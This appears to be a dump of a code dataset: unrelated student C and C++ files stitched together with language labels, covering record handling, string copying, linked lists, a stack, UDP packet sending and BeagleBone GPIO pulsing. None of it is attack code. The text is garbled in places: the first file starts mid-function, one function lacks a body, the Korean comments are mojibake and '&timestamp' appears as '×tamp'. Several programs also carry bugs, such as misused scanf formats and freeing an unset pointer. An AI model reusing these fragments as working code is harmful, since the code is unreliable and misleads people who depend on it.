for(i=0;i<max;i++)
{
scanf("%[^,]s",arr[i].idno);
getchar();
scanf("%[^,]s",arr[i].name);
getchar();
scanf("%[^,]c",arr[i].gender);
getchar();
scanf("%[^,]c",arr[i].resident);
getchar();
scanf("%[^,]f",arr[i].cgpa);
getchar();
}
}
void generate_email(char idno[], char email[])
{
int i,j;
email[0]='f';
for(i=1;i<5;i++)
{
email[i]=idno[i-1];
}
for(j=5;j<8;j++)
{
email[j]=idno[j+3];
}
email[8]='\0';
strcat(email,"@dubai.bits-pilani.ac.in");
}
void print_records(student arr[])
{
int i;
for(i=0;i<max;i++)
{
printf("%d %s %s\n",i+1,arr[i].idno,arr[i].name);
printf("Gender:");
switch (arr[i].gender)
{
case 'M':
printf("Male\n");
break;
case 'F':
printf("Female\n");
break;
}
printf("Residence status:");
switch (arr[i].resident)
{
case 'H':
printf("Hosteler\n");
break;
case 'D':
printf("Day Scholar\n");
break;
}
printf("CGPA: %f\n",arr[i].cgpa);
generate_email(arr[i].idno,arr[i].emailaddr);
printf("Email address: %s",arr[i].emailaddr);
}
}
float avg_cgpa(student arr[])
{
float avg,sum=0;
int i;
for(i=0;i<max;i++)
sum+=arr[i].cgpa;
avg=sum/max;
return avg;
}
void gender_count(student arr[])
void main()
{
student stdarr[max];
}
|
C
|
#include "holberton.h"
#include <stdlib.h>
/**
* _strdup - creates a copy of a given string
* @str: string to copy
*
* Return: a pointer to a newly allocated space in memory which contains
* a copy of the given string or NULL if it fails
*/
char *_strdup(char *str)
{
unsigned int i, size = 0;
char *cpy;
if (!str)
return (0);
while (str[size])
size++;
cpy = malloc((size + 1) * sizeof(char));
if (!cpy)
return (0);
for (i = 0; i <= size; i++)
cpy[i] = str[i];
return (cpy);
}
|
C
|
#include <stdio.h>
int num_arr[1001];// .
int main_11866_0()
{
int n, k;//n , k ° 似Ǫ Ǻ
scanf("%d %d", &n, &k);
//ʱ
for (int i = 0; i < n; ++i) {
num_arr[i] = i + 1;
}
int total_count = 0;//ü īƮ
int index = 0;//ʱ ε
int count = 0;//k ɶ īƮ
int new_index = 0;// ε.
printf("<");
while (total_count != n) {
index %= n;
if (num_arr[index] != 0) count++;
if (count == k) {
if (total_count == n - 1) printf("%d", num_arr[index]);
else printf("%d, ", num_arr[index]);
num_arr[index] = 0;
total_count++;
count = 0;
new_index++;
}
index++;
}
printf(">");
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
struct node{
int info;
struct node *link;};
struct node *start=NULL;
struct node* createnode(){
struct node *n;
n=(struct node *)malloc(sizeof(struct node));
return(n);}
void insertnode(){
struct node *temp1,*temp2;
temp1=createnode();
printf("\nEnter information ");
scanf("%d",&temp1->info);
temp1->link=NULL;
if(start==NULL){start=temp1;}
else{
temp2=start;
while(temp2->link!=NULL){
temp2=temp2->link;
}
temp2->link=temp1;}}
void printlist(){
struct node *temp;
if(start==NULL)
printf("List is empty");
else{temp=start;
while(temp!=NULL){
printf(" %d ",temp->info);
temp=temp->link;}}}
void deletenode(){
struct node *n;
if(start==NULL){
printf("\nList is empty");}
else{
n=start;
start=start->link;
}
free(n);
}
main(){int ch=0;
while(ch<4){
printf("\n1:: insert node\n");
printf("2:: print list\n");
printf("\nchoose any one >> ");
scanf("%d",&ch);
if(ch==1){insertnode();}
if(ch==2){printlist();}
if(ch==3){deletenode();}
}}
|
C
|
/*
* Cesar Marrote Manzano RA: 18051755
* Fabricio Silva Cardoso RA: 18023481
* Pedro Ignácio Trevisan RA: 18016568
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include "ipHeader.h"
UDP_PROTOCOL initial_Pckt;
UDP_PROTOCOL fragmented_Pckt;
IP_Header ip_pckt;
char aux[2000];
void fragment_file(FILE *arq);
void send_package(int PROTO);
int main()
{
FILE *arq;
arq = fopen("teste.txt", "r");
fragment_file(arq);
create_packetIP(UDP, &ip_pckt);
send_package(UDP);
return 0;
}
/*
*******************************************************************
* fragment_file(int MAX_DATA, UDP_PROTOCOL pckt) *
* Paramentros: *
* MAX_DATA = tamanho máximo que o campo data pode receber *
* Arq = Caminho para o arquivo que deve ser lido *
* Funcionalidade: Função responsavel por fragmentar o arquivo *
* lido em vários pacotes *
*******************************************************************
*/
void fragment_file(FILE *arq)
{
int j = 0, i = 0;
char c;
char backup[DATA_SIZE];
//Enquanto não for o final do arquivo
while((c = fgetc(arq)) != EOF)
{
initial_Pckt.udp_Data[j] = c;
if(j == DATA_SIZE) //Caso seja o limite, salva o fragmento
{
strncpy(&aux[n_fragments * DATA_SIZE], initial_Pckt.udp_Data, DATA_SIZE); //Copia para a variavel
j = 0;
n_fragments++;
} else {
j++;
}
}
if(j != 0) //Caso tenha alguma palavra que não tenha sido salva
{
for(i = 0; i < j; i++){
backup[i] = initial_Pckt.udp_Data[i];
}
strncpy(&aux[n_fragments * DATA_SIZE], backup, DATA_SIZE); //Copia para a variavel
}
}
/*
*******************************************************************
* send_package(int PROTO) *
* Paramentros: *
* PROTO = define qual protocolo será utilizado *
* Funcionalidade: Função responsavel por enviar os pacotes *
* ao cliente *
*******************************************************************
*/
void send_package(int PROTO)
{
int sockfd, size, j = 0;
struct sockaddr_in server, client;
if ( (sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket creation failed");
exit(EXIT_FAILURE);
}
// Criação do pacote UDP
int serverLength = sizeof(server);
memset(&server, 0, serverLength);
// Filling server information
server.sin_family = AF_INET; // IPv4
server.sin_addr.s_addr = ip_pckt.saddr; // Localhost -> Pode ser alterado para um IP não proprietario (Ex: 8.8.8.8)
server.sin_port = htons(1234); //Can be changed → src_port
// Bind the socket with the server address
if ( bind(sockfd, (struct sockaddr *)&server, serverLength) < 0 )
{
perror("bind failed");
exit(EXIT_FAILURE);
}
fragmented_Pckt.src_port = 1234;
fragmented_Pckt.dest_port = 1234;
size = sizeof(client);
//Espera uma solicitação do cliente para poder enviar os pacotes
recvfrom(sockfd, (char *)&ip_pckt, sizeof ip_pckt, 0, (struct sockaddr *)&server, &size);
switch(PROTO){
case 0: //TCP
//listen("?"); //Necessario completar os campos
//send("?", "?", "?"); //Necessario completar os campos
break;
case 1: //UDP
while(j <= n_fragments){
//Copia os dados para os respectivos campos, calcula o checksum e o len
strncpy(fragmented_Pckt.udp_Data, &aux[j * DATA_SIZE], DATA_SIZE);
fragmented_Pckt.chksum = csum(fragmented_Pckt.udp_Data, sizeof(UDP_PROTOCOL));
printf("chksum = %d \n", fragmented_Pckt.chksum);
fragmented_Pckt.len = sizeof(fragmented_Pckt);
ip_pckt.id = j;
ip_pckt.ipData = fragmented_Pckt;
ip_pckt.csum = ip_csum((unsigned short *)&ip_pckt.ipData, sizeof(IP_Header) + sizeof(UDP_PROTOCOL));
ip_pckt.header_len = sizeof(ip_pckt);
if (sendto(sockfd, (char *)&ip_pckt, sizeof ip_pckt, 0, (struct sockaddr *)&server, sizeof server) < 0){
printf("Erro ao enviar o pacote");
}
j++;
}
close(sockfd);
break;
default:
printf("Erro protocolo não indicado \n");
}
}
|
C
|
#include <stdlib.h>
#include "util/CommandWrapper.H"
CommandWrapper::CommandWrapper()
{
}
CommandWrapper::CommandWrapper(const string& cmd)
{
p_cmd = cmd;
}
CommandWrapper::CommandWrapper(const CommandWrapper& rhs)
{
p_cmd = rhs.p_cmd;
}
string CommandWrapper::getCommand()
{
return p_cmd;
}
void CommandWrapper::setCommand(const string& cmd)
{
p_cmd = cmd;
}
void CommandWrapper::execute() throw(SystemCommandException)
{
string cmd = getCommand();
int istatus = system(cmd.c_str());
istatus = ( istatus >> 8 ) ;
if (istatus != 0)
throw SystemCommandException(istatus,
string("Error executing: " + cmd).c_str(),
WHERE);
}
|
C
|
// Ron Ocampo
// Dinggao Pan
// 11/10/2017
// HW2 SW PWM w/o ptp
#include <time.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#define PULSELEN 1000000
#define TONANO 1000000000
#define CONFIGPIN "\
#/bin/bash \n\
config-pin overlay cape-universala\n\
config-pin P9_23 gpio\n\
"
struct timespec starttime, testStart, testEnd;
FILE *infileptr;
FILE *exportfileptr;
FILE *gpiodirectionptr;
FILE *gpioedgeptr;
FILE *outputValue;
void pulse();
double TimeSpecToNano(struct timespec* ts);
//handle cntrl+c
void sigintHandler(int sig_num)
{
fprintf(stdout, "\nTerminating... \n");
fclose(infileptr);
system("echo 0 > /sys/class/gpio/gpio49/value");
exportfileptr = fopen("/sys/class/gpio/unexport", "w");
fprintf(exportfileptr, "49");
fclose(exportfileptr);
fprintf(stdout, "Done\n");
exit(0);
}
int main(int argc, char *argv[])
{
//check that path is given
if (argc!=2)
{
fprintf(stderr, "Please enter the path of input file\n");
exit (0);
}
//init handler
signal(SIGINT, sigintHandler);
//open file for reading initializing the line variable
infileptr = fopen(argv[1], "r");
//making sure the input file exists
if (infileptr == NULL)
{
fprintf(stderr, "File '%s' does not exist\n", argv[1]);
exit(EXIT_FAILURE);
}
//open pin
exportfileptr = fopen("/sys/class/gpio/export", "w");
fprintf(exportfileptr, "49");
fclose(exportfileptr);
//configure pin as output
gpiodirectionptr = fopen("/sys/class/gpio/gpio49/direction", "w");
fprintf(gpiodirectionptr, "out");
fclose(gpiodirectionptr);
memset(&starttime, 0, sizeof(starttime));
memset(&testStart, 0, sizeof(testStart));
memset(&testEnd, 0, sizeof(testEnd));
fprintf(stdout, "entering while loop\n");
system(CONFIGPIN);
//get start time
printf("try to get times\n");
long double waitTime, timestamp, tsPrev, tsNano, startNano;
tsPrev = -1;
fscanf(infileptr, "%Lf", ×tamp);
while(timestamp != tsPrev)
{
if (timestamp == 0)
{
clock_gettime(CLOCK_MONOTONIC, &starttime);
startNano = TimeSpecToNano(&starttime);
} else {
clock_gettime(CLOCK_MONOTONIC, &testStart);
tsNano = TimeSpecToNano(&testStart);
waitTime = timestamp * TONANO + startNano - tsNano;
usleep((uint64_t)waitTime / 1000);
}
system("echo 1 > /sys/class/gpio/gpio49/value");
usleep(1000);
system("echo 0 > /sys/class/gpio/gpio49/value");
tsPrev = timestamp;
fscanf(infileptr, "%Lf", ×tamp);
}
fclose(infileptr);
exportfileptr = fopen("/sys/class/gpio/unexport", "w");
fprintf(exportfileptr, "49");
fclose(exportfileptr);
fprintf(stdout, "Done\n");
return 0;
}
double TimeSpecToNano(struct timespec* ts)
{
return (long double)ts->tv_sec * 1000000000.0 + (long double)ts->tv_nsec;
}
|
C
|
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<ctype.h>
int top=-1;
int MAXSIZE = 50;
char stack[50];
int isFull()
{
if (top == MAXSIZE-1)
return 1 ;
else
return 0 ;
}
void push (char item)
{
if ( ! isFull() )
{
top=top+1;
stack[top]=item;
}
}
int isEmpty()
{
if (top == -1)
return 1 ;
else
return 0 ;
}
char pop()
{ char temp;
if ( ! isEmpty() )
{
temp=stack[top];
top=top-1;
return (temp);
}
}
int main ()
{
int ch;char elem;
while (1)
{
printf("\n\n1). push \n 2). pop \n 3). display \n 4). exit \nEnter Ch :- ");
scanf("%d",&ch);
switch(ch)
{
case 1:
printf("\nEnter Element :- ");
scanf(" %c",&elem);
push(elem);
break;
case 2:
printf("Pop Element :- %c", pop() );
break;
case 3:
for (int i=0; i<= top; i++)
{
printf("%c",stack[i]);
}
break;
case 4:
exit(1);
break;
default:
break;
}
}
return 0;
}
|
C
|
#include <stdio.h>
int main()
{
int a[50],n,m,tot;
int begin,end,i,j,k;
printf("Enter the total size of element to be entered:\n ");
scanf("%d",&n);
printf("Enter the elements:\n");
for(k=0;k<n;k++)
{
scanf("%d",&a[k]);
}
for(tot=1;tot<=n;tot++)
{
m=n-tot;
for(begin=0;begin<=m;begin++)
{
if(tot!=1)
{
end=begin+tot-1;
for(j=end;j<n;j++)
{
for(i=begin;i<end;i++)
{
printf("%d",a[i]);
}
printf("%d\n",a[j]);
}
}
else
{
printf("%d\n",a[begin]);
}
}
}
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.